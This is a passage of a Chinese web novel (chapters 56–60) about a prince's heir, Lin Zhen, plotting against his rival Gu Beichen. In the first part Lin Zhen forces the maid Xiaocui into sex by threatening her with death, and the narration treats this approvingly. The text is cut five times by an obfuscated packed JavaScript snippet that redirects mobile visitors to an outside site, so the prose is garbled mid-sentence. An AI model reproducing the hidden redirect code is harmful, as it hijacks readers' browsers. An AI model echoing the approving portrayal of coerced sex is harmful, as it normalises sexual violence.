事实上,他也的确是这么想的。 小翠远没有刘书瑶美貌,但能成为她的贴身丫鬟自然也不会差,属于面容姣好的那种。 不算出众,却也绝不丑陋,这类型的女人最吸引男人的就是知性美。 不妖娆,不清纯,只有淡淡的亲昵。 只要你看她,越看会越觉得她很有味道,也难怪顾北辰换了口味竟然喜欢上一名丫鬟。 林臻慢慢走过去,每一步,小翠的心就猛烈跳动一下。 她摇着头,身体不断剐蹭着门板:“世子,您到底要做什么.小姐,小姐救我! “我提醒你,你最好叫夫人,否则等会让有你的苦头吃哦。 林臻再次不怀好意的笑笑。 浣碧也不觉得他这样做有什么问题,既然做错了事情就要受到惩罚,这是天经地义的。 与其打板子抽嘴巴,倒不如像现在这样体面。 再说了,身为王府丫鬟不想着怎么投入到世子怀抱,整天想着顾北辰,这本来就是一种背叛,确实该罚! 就是世子把所有精力都用在了她们身上,自己可怎么办啊! 浣碧多少还是有些吃味,羡慕地看了看一脸紧张的小翠:“世子,奴婢那边还有事情,这就去办了。 言罢离开厢房,关紧房门,自己又坐回到凉亭里练字。 她要为林臻守好大门。 这么乖巧懂事的丫鬟,林臻是越来越喜欢了,不过眼下还是得先把小翠办了。 你不是喜欢顾北辰么?你不是吃里扒外么? 好啊,我就把你们这群喜欢顾北辰的女人一一炮制,看你们如何自处。 “小翠乖,别反抗,自己过来吧。 “不世子,我 “怎么?不愿意?林臻目光变得凌厉起来:“别忘了,你本来就是我的通房丫头!现在我想要了,你必须乖乖地尽本分。否则,我有权杖毙你。 说起杖毙,小翠想起了刚刚进内宅的青竹。 她也是要被顾家杖毙的。 现在也轮到 自己了吗? 刘书瑶有些心疼这个妹妹,但面对林臻的强势和自己家的窘境,她只能在里屋轻轻喊道:“小翠,你可别惹夫君生气!” “小姐.我.我实在是不想啊.” “闭嘴!” “身为我的通房丫鬟,为我解决床榻之事就是你的本分!”林臻走过来,一把抓住小翠的头发:“要么现在跪下臣服,要么就走出去领死。你自己选。” 听不见小翠的回话,刘书瑶在里面喊道:“小翠,你别犯傻!快好好伺候夫君!” “小姐,我不” “难道你连我的话都不听了吗?别害怕,那种事情我也经历过,就刚开始疼痛些。” “哈哈哈哈。” 林臻开怀大笑。 她本以为刘书瑶会对自己这样做充满了怨恨,但没想到她竟然冷静地劝慰小翠答应自己。 想来还是刘翰阳给她的压力太大了啊。 为了不让家族倾覆,牺牲一个小小丫鬟实在不算什么。 小翠流下两行晶莹剔透的泪水,缓缓闭上眼睛,像是认命了那般。 林臻直接把她扔在八仙桌上,撕开她的衣服,就地正法! 顾郎,对不起 未来的一个时辰内,小翠内心只有这一句话。 她已经忘了自己在做什么了,内心只有对顾北辰的愧疚。 想起两人在马车里的深情相拥,想起北辰坏坏的大手,想起他那温柔且锐利的双眸,小翠想死的心都有。 “小翠,别着急,等我扳到了林家,就把你和书瑶接出来。” “我会好好对你们姐妹俩的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789188|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “记住,你永远是我顾北辰的女人,谁都不能碰!” “明天的这个时候,我还在这里等你。” 那些曾触及自己内心的天籁,此刻全部变成了林臻狰狞的笑声。 他那副志得意满的表情,小翠一辈子都不会忘。 林臻穿好衣服,拍了拍她暴露在空气中的小屁股:“放心,我不会再让你见到顾北辰的,更不可能一次过后就把你送给他,我会好好的替顾北辰疼爱你。” “呵。” 林臻舔了舔洁白的牙齿,推门离开厢房。 小翠爬到里屋门板边缘,泣不成声地说道:“小姐.我们以后该怎么办啊呜呜呜.” “别哭了,你早晚都是他的人,有什么好哭的。” 小翠很想说出顾北辰今天对她说的话,但是她不敢。 她担心刘书瑶会认为是自己把顾北辰抢走,到时候和林臻一起欺负她。 “北辰.呜呜呜.” 晚上林臻泡了个澡,浣碧亲自进来伺候,回想起下午的疯狂,他淡淡笑道:“呵,小翠这丫头还挺有意思。” 浣碧用毛巾给他擦拭肩膀,不解地问道:“奴婢不明白世子的意思。” “她身体很软,脚能掰到头顶上去。” “啊?那不是和外面卖艺杂耍的一样吗?” “有的人天生就是柔软的体质,这很正常,看来以后我得重点关照她。” “奴婢还是不明白,小翠明明都已经喜欢上了顾北辰,您又为何非要临幸她呢?” 没错,这种事情在浣碧看来就是临幸。 能得到林臻,是小翠的荣幸,也是她的荣耀,她应该感恩戴德。 “只要是能对付顾北辰的,我都愿意做,更何况这种事情我还蛮舒服的。” “世子,您是想,以后利用小翠来吸引顾北辰的注意力?” “聪明,明天开始解除她们俩的禁制,暗中派人跟着,只要发现端倪立刻报告!我要让顾北辰的脸,在大乾丢得一干二净。” “世子怎么就肯定顾北辰会为她们俩犯错误呢?” 第56章 心头撞鹿,骨软筋麻 浣碧哪里能参透男女间那些微妙的情愫与算计? 林臻斜倚在浴桶旁,双手悠然搭于桶沿,眼帘轻合,享受着温热的水汽带来的舒爽,语调中带着一抹不易察觉的闲适。 “其实顾北辰对我一直都是有敌意的,尤其在经过这几天的事情之后,他对我更是恨之入骨。但他同时又很清楚我不能死,否则大乾必定内乱。 “所以只要是能打击我,阻拦我,恶心我的办法他都很愿意去做。抢走我老婆就是其中之一,如果他真能得到刘书瑶或者小翠,哪怕只有一次,他也会特别有成就感。 浣碧柔弱无骨的柔荑在林臻鬓边游走,带着一抹不经意的撩拨,吐气如兰,最后又划入他的脖颈,缓缓揉捏着。 “那世子为何不直接杀了顾北辰呢,以绝后患呢? 林臻的眸光深邃,似乎在衡量着什么,缓缓言道:“顾北辰暂时还不能死,就算要杀他也得等到三个月以后。 “为什么?浣碧追问。 “因为均衡。我们家的势力实在太大了,几乎所有的文武百官包括皇帝都深深地忌惮我们。如果这个时候顾家再倾覆,皇帝会睡不着觉的。 浣碧的手不自觉地紧了紧,翻个白眼道:“且,要造反早就造反了,还会等到今天么。当皇帝的就是多疑,活该治理不好社稷。 小丫头在自己房间内胡说八道也无所谓,随她开心吧。 不知不觉,林臻就睡了过去。 连日来身心俱疲,精神紧绷如同拉满的弓弦,此刻一旦放松,累积的倦意便如潮水般汹涌而至。 浣碧见他没了声音,胆子也大了起来,她轻轻依偎在浴桶边缘,以手臂为枕,目光如水静静地偷看他。 那帅气的眉目,刀削的脸庞,每一处线条都仿佛是天工雕琢,无时无刻不在触动着她心底最柔软的部分。就连心跳也随着这份无声的欣赏悄然加速。 不知怎的,浣碧突然鬼使神差地站起来,在林臻唇边轻轻一吻。随即,她像是被烫到一般,猛地撤身,脸颊瞬间染上两朵晚霞般的绯红,绚烂而羞涩。 “哎呀,浣碧呀浣碧!你可真是不要脸!想世子想疯了吧 “不过.世子的嘴好软好软呀! 浣碧摸了摸自己的脸,不觉心头撞鹿,骨软筋麻,好便似雪狮子向火,霎时间酥了半边。 浣碧喊来两名仆役,把赤条条的林臻小心翼翼地抬回卧房。 林臻睡得十分香甜,这么大的动静都没醒过来。 浣碧搬来一 张雕花木椅坐在床边手中轻摇着一柄精致的团扇为这炎炎夏日带来一丝不易察觉的凉意与守护。 现在夏天蚊子多万一咬到世子可就不好了。 细腻的关怀如同涓涓细流无声却又温暖。 次日清晨当第一缕阳光悄悄探进窗棂林臻缓缓睁开双眸便看到浣碧倚在床边单手支颐秀美的脸庞上挂着淡淡的倦意发丝轻轻垂落与晨光交织更添几分柔情。 林臻心中涌起一股暖流对这样纯真而质朴的情感如视珍宝。 毫不夸张地说这样的爱情放在后世打着灯笼也找不到。 那些独生子女们的思想几乎都是:我凭什么照顾你?我凭什么给你做饭?我凭什么给你生孩子?你赚了钱凭什么不给我花?我凭什么不能出轨. 不是搞男女对立而是有一天林臻用女同事的手机刷抖音看到的。 大数据推送的问题他不感兴趣坐起身正准备穿鞋就听到浣碧呢喃地说道:“世子.您醒了。” 浣碧揉了揉惺忪的睡眼声音中带着几分初醒的软糯与娇憨。 林臻宠溺地用手指轻轻刮过她的鼻尖柔声道:“上床再睡一会儿吧我自己穿衣服。” “那可不行!伺候世子是奴婢的本分!”浣碧不由分说迅速起身去向另一间厢房。 不多时便手捧着一叠洗净熨烫得整整齐齐的袍服归来一件件给林臻上身。 都穿好以后浣碧说道:“世子稍等 林臻点点头任由她去了。 他缓步移至窗边指尖轻轻一推窗棂应声而开早晨新鲜的空气带着花香涌进深深吸上一口沁人心脾。 “是时候搞搞事业了啊。” 林臻心里还有很多创业的计划只要能落实三年之内成为世界首富都不成问题。 只是就目前来讲最需要准备的还是三个月后的乾楚大战。 他想起大学时选修的化学课 说不定自己可以改良下传统冶铁工艺呢?提高铠甲的防御程度让兵器的耐久度更好这样就可以整体提高大乾士兵的战斗力。 然后再收集物资囤积粮食凭林震仙的能力打败南楚不在话下。 “咚!”声音传来林臻收回思绪。 院子里满是温柔的金光碧绿色长裙的姑娘映着朝阳挽起袖子露出一段如玉般温润的手臂费劲地转动井磨很快便打上来一小桶清水倒入洗脸盆里。 只要是林臻的事 情,她从来不假他人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789189|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之手。 林臻出门,在院子里开始洗洗涮涮。 这时,大管家林安走进院子,对林臻行了一礼说道:“世子,老爷让您去静心园用膳。” “知道了。” 静心园就是林震仙住的院子,看来老爷子今天是有事情要跟自己说。 林臻拍了拍浣碧的小脑袋:“去休息吧,记得安排好人,看着刘书瑶和小翠。” 浣碧甜甜笑道:“世子放心,奴婢昨天就安排好了呢。” 林震仙下早朝回来显然是心情不错,特意让后厨房做了几盘自己爱吃的菜,邀请林臻一起来用膳。 老爷子性情恬淡,对那清汤豆腐与翠绿小白菜情有独钟,至于那些大鱼大肉的提不起兴趣。 主要也是吃不起。 现在全家人都靠林震仙的俸禄养活,哪能顿顿吃肉啊,不饿死就算朝廷开恩了。 林臻过来的时候,老爷子正坐在圆桌边猛吃,丝毫不像个王爷的样子。 “祖父。” “嗯,臻儿,过来吃饭。” “是。” 林臻坐下,规规矩矩地吃饭,林震仙不说话他就绝不说话。 食不言寝不语嘛,都是规矩。 很快老爷子吃饱了,咚的一声把碗放下,接过丫鬟的手绢擦了擦嘴说道:“听说你这臭小子最近发财了?” 完。 林臻心里咯噔一下。 肯定是顾云霆这个老王八蛋把地下钱庄的时候告诉林震仙了! 奶奶的,算你狠。 “祖父说笑了,就是缴了笔赃款而已。” “哼。”林震仙冷哼一声:“几百万两银子的赃款可是少见。” “祖父的意思是?” “都拿出来,你小孩家家揣那么多钱做什么?祖父拿去提高下将士们的生活水平。” 林臻就知道他要这么干,于是很坚定地摇头道:“祖父,孙儿不能答应您。” “嗯?臭小子,你敢忤逆老夫!?” 林震仙的压迫感绝对不是一般人能承受的。 好在林臻不是一般人。 他依然坚定地点头道:“祖父,这笔钱我有很大用处,我可以向您保证,绝不会胡乱挥霍。” “不行,钱太多了,你根本承受不住诱惑,必须交出来。” “祖父,对不起,我不交。” 林震仙捋了捋胡子,眼神玩味地说道:“臭小子,你以为老夫不知道你钱藏哪了是不是?” 第57章 再娶一个,把刘书瑶浸猪笼 林臻暗暗有些气恼。 肯定是曹雄这个王八蛋说的,吃里扒外的狗东西,等老子腾出空来非狠狠打你一顿。 林震仙的眼睛随便一扫,就知道林臻在想什么, “不是曹雄,别乱冤枉人。 林臻一愣:“那是谁? 林震仙冷哼一声,眼神锐利如刀:“你真以为随便给点钱这些人就能唯你马首是瞻?虎贲营是老夫组建的,一剑一甲都是老夫的心血!他们是大乾的士兵,不是你的马仔! 林臻连忙解释道:“祖父,我没有把他们当成马仔,派他们来搬东西是想着能保守秘密,毕竟这笔赃款实在太多,一旦走漏风声后果不堪设想。 “你要是怕抢就交给老夫保管。 “祖父,那些钱都是顾家这些年贪污的赃款,朝廷也不会追查,您还是交给孙儿处理吧。 “不行!林震仙态度很坚决:“四大营的营区需要修缮,淘汰的兵器需要更换,这些都需要钱,以前没钱倒也罢了,现在有钱就得抓紧办,否则敌国入侵怎么办?你要是不给,老夫现在就带兵去抢! “这 林臻认为自己就已经很不讲道理了,没成想这老爷子比自己还混蛋! 仗着自己有兵权,扬言明抢! “祖父,别的事情孙儿都能答应您,但是这笔钱,真的没商量。 “大胆!谁允许你这么和老夫说话的?还有没有点规矩? 林臻咬咬牙,心说今天这顿板子肯定是躲不掉了:“祖父,孙儿甘愿受罚。 “你! 看林臻决绝的样子,林震仙颇感意外。 以前说要体罚的时候,林臻都吓得两腿哆嗦,今天怎么敢硬着头皮顶撞自己呢?还主动领罚。 果然啊,结了婚的男人确实有很大变化! 林震仙捋了捋胡子,不怀好意地露出一丝笑容:“你确定别的条件都能答应? “只要不提钱,孙儿都答应您。 “好,君子一言驷马难追。老夫观刘书瑶绝非你的良配,今后你打算怎么处置? 为什么会突然问这个? 林臻有种很不好的预感。 这老头不会要给自己介绍对象吧? “祖父的意思是? “哼,刘书瑶思想身体双双出墙,辱我王府门风,败坏我林家名声,这样的女人留之无用,不如浸猪笼算了,你再另娶一个。 不行,日后想让顾北辰犯错误,刘书瑶就是最好的媒介,所以她 暂时还不能死。 再说林臻也需要个厕所方便方便啊。 “祖父,刘书瑶此女虽然下贱,但却是我用来对付顾北辰的最好工具,所以还是先别让她死了。” “死不死的老夫不在乎,老夫在乎的是什么时候才能抱上重孙子!我林家家大业大,没人继承可不行!” 林臻撇撇嘴:“祖父,我不是还活着嘛。” “你爹像你这岁数的时候也是这么说的!结果呢?让他多生两个非不听,现在好了,我林家就你一根独苗,你还不争气!” 林臻低头不语,像个犯了错误的孩子。 林震仙喝了口清茶,以命令的口吻说道:“唉,罢了。老夫观司马家的闺女就不错,知书达理温文尔雅,身段也是极好,肯定能生儿子!你若同意,老夫这就去司马家提亲。” 司马家? 御史大夫司马忠的闺女? 那个皮肤黝黑,身材健硕,长得像泰森似的大犀牛? 这往自己肚子上一坐. 卧槽!! 林臻想想就觉得恐怖,连连摆手道。 “别别别!祖父,孙儿答应您尽快生个孩子出来,但司马家那位还是算了吧,孙儿不喜欢。” 林震仙一副理所应当的样子:“喜不喜欢有什么重要的?娶妻娶贤,纳妾纳美,把正妻娶回来,剩下的小妾可以随你心意。” “那孙儿也不同意这桩婚事,更何况刘书瑶还没死呢,等她死了再说吧。孙儿吃好了,这就去办事了。” 林臻几乎是以逃跑的速度冲出静心园。 司马家的闺女,开什么玩笑! 我可不是奶油小生,专挑胖妹妹喜欢。 “这臭小子.”林震仙无奈地摇了摇头,这会儿大管家林安走进来,对他行了一礼。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789190|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老爷。” “嗯,调查得怎么样了?” “回老爷,世子目前还没有动用那笔赃款,就放在医馆后院里。” 林震仙捏着胡子,欣慰地笑道:“呵,我这孙儿还真有福气,竟然能从顾云霆手里抢来这么多钱,看来以后不用过紧巴巴的日子了。” “老爷说的是,而且世子的变化也很明显,这笔钱放在他手里想来也不会出岔子。” “派人盯紧他,如果敢胡乱挥霍,立刻报告。” “是。” “另外,派人把司马大人请来家中,老夫有事情要与他商谈。” “是。” 林臻还不知道自己被林震仙惦记上了,他急匆匆地回 到卧房,拿起茶壶对着壶嘴吨吨吨灌了好几口,这才感觉舒爽了些。 刚才真是把他吓死了,如果娶了司马忠的闺女,他宁可现在就上吊穿越回去! 浣碧走了进来,手里捧着很多衣服。 “世子,您快试试这些衣服合不合身?” 林臻发现这些衣服都是崭新的,上面绣着腾云驾雾的麒麟,不解地问道:“这哪来的衣服?” “世子难道忘记了?三天后就是陛下的寿诞,您当然要穿着得体的去赴宴呀!” 浣碧不由分说,把衣服放在桌子上,随即开始给林臻宽衣解带。 林臻则是木讷地站在原地,思考别的事情。 他记得慕容嫣过生日的当天好像发生了什么事情。 对! 想起来了。 慕容嫣寿诞当天楚国派遣使臣来赴宴,结果在宴会上出言刁难,又要算术又要作诗,还下了赌注,最后是顾北辰出现才让大乾挽回颜面。 也因此,慕容嫣对他更加器重,甚至直接让他住进皇宫里,帮助她批阅奏折。 如果自己能趁此机会把顾北辰打入尘埃,那慕容嫣就没人可以倚仗了,到时候自己就可以趁虚而入,成为她新的主心骨,大乾江山将会尽在我的脚下! 只是慕容嫣这个冰山美人不是那么好攻破的,自己还需要做个全面计划。 最好让顾北辰不要出现在寿宴之上。 第58章 他林臻凭什么能得到这么多钱 话分两头。 顾北辰的第一步计划便宣告失败,因为林震仙并没有强迫林臻把钱交出来,但他同时也是成功的,因为林震仙真的打算让林臻娶司马忠的女儿,司马春雷. 据说这姑娘出生的时候,本来晴朗的天气突然打响一声炸雷,当时正值春天,故得此名。 她也是司马家唯一的女儿,所以从小便深受家人喜爱,尤其是司马忠,几乎是把她当成掌中宝那样宠溺,导致姑娘的脾气很是火爆。 如果顾北辰知道这件事情,做梦都会笑醒,甚至会改编成笑话在坊间流传。 早朝散过之后,顾北辰来到慕容嫣的议政殿。他现在老实了很多,就兢兢业业地在慕容嫣身边伺候,为他出谋划策。 此刻慕容嫣正盯着龙案上的奏折皱眉,顾北辰站在她身后问道:“陛下何故皱眉? “唉,辽东十二县受雨灾,大地颗粒无收,今年那里的百姓恐怕又要挨饿了呀。 “陛下,此事不难解决。辽东地区是由东西两条山脉围成的平原,雨稍微大些就会内涝,只要我们疏通河道,从内地连接大海,等明年再下雨时便不会有这样的事情发生了。 慕容嫣眼睛一亮:“对啊!还是顾院判头脑清晰,朕这就下旨,让辽东地区的百姓拓宽河道排水。 顾北辰得意的笑笑,谁知慕容嫣正准备下笔,又想起来一件事:“拓宽河道可以预防洪灾,可问题是今年怎么办,百姓没有了收成会饿死的。 “陛下只需派遣信任的大臣,带着粮食布匹去辽东赈灾即可,只要熬过这个冬天,明天就会好转。 “可是农税还没收上来,户部现在根本拿不出钱来赈灾。 顾北辰眼神变换,阴损地说道:“臣可以号召大臣募捐,总能凑出来一些应急,另外臣听说林臻最近发了一笔横财. 果然,慕容嫣瞬间就被这句话吸引到了。 “横财?什么意思? “臣也只是听说,林臻前天得到很大一笔财富,数额不会低于百万两。 “什么!!慕容嫣立刻蹙眉倒竖。 大乾一年的收税才几百万,他林臻凭什么能得到这么多钱!? “来人!让林臻进宫! “陛下,且慢! “林臻此子擅长花言巧语,三两句话就能颠倒黑白,不如顾北辰的话越来越低沉,好似在酝酿很大的阴谋:“我们叫摄政王进宫,凭他的脾气秉性肯定是不屑说谎的。 慕容嫣恍然大悟,随即赞赏地看 向顾北辰:“不愧是朕的智囊,言之有理!来人,宣摄政王进宫。” 王府。 林震仙真把司马忠请来了。 两位老狐狸坐在静心园的凉亭里对弈,两名丫鬟各站在他们后面扇扇子,趁着微风拂过,相当惬意。 “仲康啊,这局你又输喽。”林震仙得意的笑着,司马忠把手里的白子全部丢进棋盅里,无奈地笑道:“下官不是王爷的对手,甘拜下风。” “哈哈哈哈,老夫观你今天心神不宁,连续几步走错,可是有什么事情烦心?” “不瞒王爷,三天后就是陛下寿诞,可是下官两袖清风,实在不知道应该送些什么才好。” 林震仙头几日也为这件事情感到头疼,不过现在林臻发了笔横财,倒是不必担心了,他笑道:“呵呵呵,这是陛下第一次过寿诞,礼物随意即可,不宜过好。” “哦?王爷何意?” “这次的礼物送得太好,那下次送什么?陛下又不是就这一年过寿诞。” “唔,王爷言之有理。”司马忠深以为然地点点头,随即突然想到什么,说道:“王爷今日突然召下官进府,也是有事情吧?” “哈哈哈哈。”说起正事儿来,林震仙哈哈大笑,“本王听闻你有个闺女,正待字闺中,可有找到好人家?” “嗐,提起这件事情下官就头疼。我家这丫头啊,谁都不喜欢,谁都不想嫁,每次媒婆进门都要被她轰出去,否则也不会二十岁了还在家里。” 林震仙难得地露出一丝猥琐的笑容:“那你觉得臻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789191|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿怎么样?” “世子?王爷,您莫拿下官开玩笑,世子前几天不是刚结婚吗?” “大婚那天发生的事情你也不是不知道,像刘书瑶那样的女人根本不配在王府里当主母!” “可世子能同意休妻吗?毕竟他以前” 司马忠留了半句话没说,意思就是林臻以前为了刘书瑶都宁愿去死,现在说休妻他能同意吗? 林震仙笑盈盈地说道:“呵呵呵,臻儿和以前不一样了,有城府有手段,一个刘书瑶而已他不会在乎的。仲康啊,你我都是痛快之人,少婆婆妈妈的,就说这件事情行还是不行。” 司马忠面露难色。 “王爷,请恕下官回去问问小女如何?” “扯淡,父母之命,媒妁之言。什么时候轮到小辈做主了?” 司马忠撇撇嘴,心说你家的婚事不就是林臻做主的么。 否则以你摄政王的脾气会不留余力地扶植刘家? 司马忠正愁不知道怎么推脱呢,管家进来禀报。 “老爷,宫里来人了。” “嗯?” 言罢,传旨的太监从月亮门外走了进来,正是慕容无舌。 他贱兮兮地露出两排黄牙,眯着小眼睛不男不女的说道:“王爷,陛下请您进宫呢。” “可有说所为何事?” 无舌摇头道:“不曾。” “唔”林震仙沉吟一声,看向司马忠,后者也疑惑的说道。 “陛下从来没有这么着急地召见过王爷.正所谓善者不来,来者不善啊。” 林震仙一琢磨,就觉得里面应该有事儿,否则慕容嫣不可能这么火急火燎直接派个太监来召见他。 但会是什么事情呢?难不成是林臻的赃款被他知道了? 不可能,顾家没理由自己抽自己大嘴巴。 林震仙反复一琢磨说道:“管家,去把臻儿叫来。” 言罢又对无舌说道:“无舌先生,你就先在本王府中稍等片刻吧。” “老奴遵命。” 第59章 世子,快坚持住呀! 林震仙的意思就是想和林臻商量一下。 不知怎的他总觉得孙子的变化不太正常想再通过这件事情观察观察 林安来通报的时候林臻正在院子里做俯卧撑。 他上身赤裸汗水自鬓边滑落滴滴答答地溅落在地砖上发出清脆的声响。 浣碧在一边攥着粉拳加油打气:“世子坚持住!冲刺呀!” 林臻脸色憋得通红青筋暴起双臂止不住的颤抖好像失去控制的机器狗。 最后终于成功地把第十五个俯卧撑做了起来。 “噗!”林臻累得直接趴在了地上。 这具身体还是太差劲了想当年在学校体测的时候俯卧撑一做就五十个起步。 现在只做了十五个就累成这个样子。 浣碧跳着脚跑过来欢欣鼓舞地喊道:“世子好棒好棒呀!” 林安看不明白这是在干什么也快走几步过来搀扶林臻:“世子您这是干什么呢?” 林臻喘着粗气摆摆手:“嗐锻体之术而已你怎么突然过来了?” 对这个管家林臻还是比较客气的这个人不管是忠心还是能力都是上上之选若没有他在旁边出谋划策林家坚持不到今天。 林安说道:“哦老爷喊您过去呢。” “行知道了我这就去。” 林臻随便披上件衣服就走出院子。 来到静心园的时候看到林震仙正在和司马忠下棋林臻心底咯噔一下! 坏了。 这老爷子不会真要把大的春雷介绍给自己吧? 肯定是! 奶奶的老子这回宁死不从! 林臻黑着脸走过去对林震仙和司马忠说道:“祖父司马大人。” 林震仙点点头还没说话林臻就率先说道。 “祖父孙儿现在还不想考虑再娶的事情请您收回成命吧。”言罢对司马忠又说道:“司马大人小侄承认您的女儿非常优秀也非常美丽但我们俩真的不合适请您原谅。” “这” 两句话给两个老头说得直懵逼。 林震仙反应过来砰的一声把棋子摔在棋盘上。 “放肆!” 林臻看得真切棋子在他的敲击之下直接就碎了! “臭小子谁说让你娶人家春雷了?你想娶人家还不愿意嫁呢。在这装什么大尾巴狼!” “啊?” 不是这事儿啊? 这就尴尬了。 林臻摸了摸头对司马忠笑道:“哈哈哈哈司马大人刚刚都是误会您别生气小侄给您赔礼了。” 司马忠也反应过来捋着胡须哈哈大笑:“哈哈哈哈年轻人口直心快无妨无妨。只是我家春雷的事情你当真不考虑?” “多谢司马大人抬爱小侄确实配不上春雷姑娘。” “也罢老夫就当你拒绝了吧 “是是是。” 漂亮? 长得和泰森似的能漂亮到哪去? 你们古人的审美真是有待提高。 林震仙没好气地把棋子碎片扒拉到一边定睛看着林臻:“小子无舌那阴货来了说陛下要召见老夫你怎么看?” 原来是这件事情。 林臻收回玩笑的表情简单一想便猜到其中缘由。 “祖父肯定是顾北辰向陛下透露了赃款的事情。” “什么?赃款?”司马忠一愣林震仙摆摆手示意他先别说话继续问林臻:“那你觉得老夫应该如何应对?” “不承认。” “不可能!老夫一生光明磊落从来没说过谎你换个办法。” 死脑筋。 这样耿直的老头可真是拿他没办法。 林臻想了想。 要对付顾北辰光是狡辩根本没有用得拿出实际的证据才能堵住他的嘴。 最重要的是这笔钱还不能让慕容嫣吞掉。 这娘们现在想钱都想疯了。 “祖父您就说钱是顾家给的但是绝对不能说具体数额我来教您怎么说.””林臻缓缓开口眼中闪烁着狡黠之光。 林震仙微微颔首饶有兴趣地听着。 林臻低语细述把后续应该说的话通通告诉林震仙。 听得司马忠眉毛倒竖浑身冰凉。 好家伙现在这年轻人一个比一个狠一个比一个心思缜密再这么下去我们这些老家伙都没办法混了。 从宫里把旨意传出去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789192|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到臣子收到旨意进宫是需要一定时间的林臻没有太耽误功夫就让林震仙和无舌去了。 慕容嫣端坐于金碧辉煌的大殿之中手中紧握朱笔批阅奏折。心里想着钱的事情思绪如麻越想越烦躁干脆直接把奏折扔下难受地揉着太阳穴。 林震仙得到钱并不是危险真正令她感到脊背发凉的是这么多钱究竟从哪里来的。 顾北辰见状,心中已明了她的忧虑,轻声安慰道:“陛下无虑,只要等摄政王进宫便知他的钱从哪里来的了。” 慕容嫣欣慰的笑笑:“呵呵呵,知朕者,顾院判也。” 顾北辰暗暗得意。 他就不信林震仙会当着皇帝的面说这笔钱是顾家的,那不是自取其辱么。 你林震仙不会撒谎,可不代表我也不会。 所以说,林家这笔钱是肯定要吐出来了。 想到这,顾北辰心情极好,嘴角也抑制不住笑容朝天。 “摄政王觐见!” 林震仙穿着常服,步伐稳重地走进大殿之内,来到近前对慕容嫣作揖行礼:“臣参见陛下。” “王爷免礼。”慕容嫣语气不咸不淡,听不出任何感情。 林震仙心中依旧震惊于出门前林臻跟自己说的话。 这小子确是长进不少,竟已懂得运筹帷幄,暗中布局。更令人称奇的是,他能如此精准地预判到是顾北辰在陛下身边闹幺蛾子。 可惜啊,这么好的天赋用在领兵作战上该有多好。 林震仙不卑不亢,不急不躁,就这么定睛看着慕容嫣。 后者反而被他看得有些心虚。 她不自觉地偷瞄一眼站在自己身边的顾北辰,轻咳一声说道:“咳咳,王爷,朕听说你最近发财了?” “哈哈哈哈。”林震仙笑得十分豪爽:“真是什么都逃不过陛下的法眼,没错,臣发了一笔大财!” “哦?大概有多少啊?” 慕容嫣没想到林震仙回答的这么干脆,立刻好奇心大动,准备狠狠的敲诈一笔。 却没想到林震仙忽然将矛头对准顾北辰,一双老虎般霸气的眼睛几乎将他射穿。 “那就请陛下问问顾院判吧。” 第60章 说你是鼠辈,你可承认? 慕容嫣狐疑地看了看顾北辰就听见后者朗朗说道。 “王爷这是什么意思?臣哪里知道您有多少钱啊?” “贤侄此言差矣这笔钱不是你顾家给我林家的吗?” 嗯? 顾北辰微微一愣。 他竟然真的这么说。 难说他觉得陛下会相信他吗?还是说陛下会相信我顾家贪污几百万两? 顾北辰不知道林震仙耍什么花招于是谨慎的说道:“王爷您可是从来不说谎的今天是怎么了?” 林震仙仰天长笑。 